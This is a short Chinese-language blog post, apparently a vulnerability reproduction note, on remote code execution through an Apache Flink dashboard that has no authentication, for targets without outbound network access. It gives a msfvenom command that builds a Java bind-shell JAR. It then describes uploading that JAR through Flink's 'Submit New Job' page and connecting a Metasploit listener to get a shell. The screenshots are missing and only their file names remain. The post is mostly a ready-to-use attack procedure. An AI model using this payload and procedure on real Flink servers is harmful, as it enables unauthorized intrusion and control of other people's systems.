apache-flink-unauth-rce-不出网上线msf

直接未授权访问

image-20250422114301788

使用msf生成jar包

msfvenom -p java/shell/bind_tcp RHOST=对方IP LPORT=4654 -f jar >hello.jar

image-20250422114803060

将jar包上传到Submit New Job功能点

image-20250422114606956

msf配置好监听

image-20250422114853776

image-20250422114931707

点击submit，我点了三次上线的，我着急，可能第一次就成功了。（页面会有报错信息出现，不知道为啥）

image-20250422115001475

漏洞复现
#apache-flink #rce
apache-flink-unauth-rce-不出网上线msf
http://example.com/2025/04/28/apache-flink-unauth-rce-不出网上线msf/
作者
manic
发布于
2025年4月28日
许可协议